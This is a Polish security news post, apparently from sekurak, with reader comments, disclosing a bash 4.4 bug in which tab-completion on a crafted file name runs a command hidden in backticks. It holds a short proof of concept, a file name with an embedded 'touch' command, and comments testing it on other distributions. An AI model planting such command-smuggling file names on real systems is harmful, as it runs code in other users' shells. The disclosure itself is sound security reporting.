Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Bash – wykonanie dowolnego kodu przez autocomplete (!)
Jeśli ktoś używa basha, zapewne zna domyślne działanie klawisza <tab> – umożliwia to wygodne dopełnienie długiej nazwy pliku.
Okazuje się, że tworząc odpowiednio spreparowaną nazwę pliku (z zaszytym poleceniem do wykonania), osoba która uruchomi autodopełnienie (naciśnie tab) na tym pliku – wykona nasz kod.
PoC? Proszę bardzo:
bash-4.4# ls -l total 0 -rw------- 1 root root 0 Feb 7 18:57 yyyyy"`touch bzzz2` bash-4.4# chmod 755 y[tab]yyyy\"\`touch\ bzzz2\` ^C bash-4.4# ls bzzz2 yyyyy"`touch bzzz2` bash-4.4# rm bzzz2 bash-4.4# chmod 755 y[tab]yyyy\"\`touch\ bzzz2\` bash-4.4# ls bzzz2 yyyyy"`touch bzzz2` bash-4.4#
Albo np. tak:
bash-4.4# ls -l total 0 -rwxr-xr-x 1 test test 0 Feb 7 18:57 yyyyy"`touch bzzz2` bash-4.4# rm [tab]yyyyy\"\`touch\ bzzz2\` bash-4.4# ls -l total 0 -rw-r--r-- 1 root root 0 Feb 7 19:11 bzzz2 bash-4.4#
Jak widać można umieścić na filesystemie długą nazwę pliku i na końcu dodać „`polecenie do wykonania` i przy dopełnieniu – voila, kod się niewidocznie wykona.
Czy panikować? Z jednej strony bug został pierwotnie wprowadzony w 2015 roku (w repozytorium devel), i został włączony do wersji stable 4.4 (wydanej we wrześniu 2016 roku), z drugiej większość Linuksów na szczęście nie zdążyła udostępnić aż tak nowego basha w swoich repozytoriach. Choć np. Arch Linux – tak.
–ms
Przelewam na dowolne piwo temu, kto udowodni, że bug można wykorzystać na Archu.
Albo na czymkolwiek. Jedyną większą dystrybucją z jakąkolwiek formą basha 4.4 jest OpenMandriva:
GNU bash, version 4.4.0(1)-rc1 (x86_64-mandriva-linux-gnu)
[root@3a609221db3e /]# touch 'foobar”`touch rak-sekurak’
[root@3a609221db3e /]# mv fobash: bad substitution: no closing „`” in `touch rak-sekurak
obar\”\`touch\ rak-sekurak ^C
Pliku nadal nie ma.
w RHEL 7.3 stan na 2017.02.08:
GNU bash, version 4.2.46